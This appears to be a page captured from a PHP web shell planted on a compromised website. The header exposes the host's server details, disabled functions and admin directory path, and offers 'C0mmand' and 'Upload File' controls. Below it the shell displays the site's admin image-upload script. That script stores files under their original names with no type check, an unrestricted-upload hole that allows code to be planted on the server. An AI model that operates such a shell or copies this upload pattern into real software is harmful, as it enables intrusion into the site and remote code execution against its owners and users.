|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.91 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/admin/inaugration/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require '../connection.php'; // Your database connection file
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$title = htmlspecialchars($_POST['title']);
$category = htmlspecialchars($_POST['category']);
$description = htmlspecialchars($_POST['description']);
// Define the upload directory
$uploadDir = 'uploads/'; // Make sure this directory exists and is writable
// Array to store image paths
$imagePaths = [];
// Loop through each uploaded file
foreach ($_FILES['images']['name'] as $key => $name) {
// File validation: check for errors
if ($_FILES['images']['error'][$key] === UPLOAD_ERR_OK) {
$tmpName = $_FILES['images']['tmp_name'][$key];
$newName = $uploadDir . basename($name);
$imagePaths[] = $newName;
// Move the uploaded file to the correct directory
if (move_uploaded_file($tmpName, $newName)) {
// Image paths are stored as a comma-separated string
// You can also choose to use JSON for more complex data
} else {
echo "Error uploading file: " . $name;
}
}
}
// Store the images as a comma-separated string
$imagePathsString = implode(',', $imagePaths);
// Save to the database with one title, description, and multiple image paths
try {
$stmt = $pdo->prepare("INSERT INTO inaugration (title, description, image_path) VALUES (:title, :description, :image_path)");
$stmt->execute([
':title' => $title,
':description' => $description,
':image_path' => $imagePathsString
]);
} catch (PDOException $e) {
die("Error: " . $e->getMessage());
}
// Redirect to the admin panel after the upload
header("Location: admin_panel.php");
exit;
}
?>